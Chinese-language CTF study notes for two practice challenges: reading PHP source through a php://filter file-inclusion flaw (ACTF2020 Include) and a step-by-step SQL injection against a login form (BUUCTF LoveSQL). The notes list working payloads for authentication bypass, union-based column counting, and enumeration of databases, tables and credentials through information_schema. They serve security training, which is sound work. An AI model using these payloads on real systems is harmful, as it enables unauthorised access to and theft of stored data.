知识点:
[ACTF2020 新生赛] IncludeWriteup:
-
?file=flag.php 猜测文件包含漏洞
-
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
-
php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
-
php://input 伪协议 + POST发送PHP代码 (不行)
【BUUCTF】[极客大挑战 2019]LoveSQL
-
基础知识点:
union 联合查询
information 表
group_concat()
admin’ or 1=1 或者 1’ or 1=1 # 万能密码爆字段
加单引号报错,存在SQL注入 -
注入流程:
1.万能密码登陆
2.登陆后,使用联合查询注入
3.爆字段
4.看回显
5.爆数据库
6.爆数据库的表
7.爆出表的列
8.爆出flag -
爆字段:
1’ order by 1 #
1’ order by 2 #
1’ order by 3 #
1’ order by 1 %23
1’ order by 2 %23
1’ order by 3 %23 -
看回显:
1’ union select 1,2,3 # -
爆数据库:
1’ union select 1,database(),version() # -
爆数据库的表:
只有一个数据库,省事直接相等:
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #多个数据库,选择一个:
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘DATABASE’ -
爆出表的列:
1’ union select 1,2,group_concat(id,username,password) from AAA%23&password=1 -
读取内容,爆flag:
读aaa表
1’ union select 1,2,group_concat(id,username,password) from aaa%23&password=1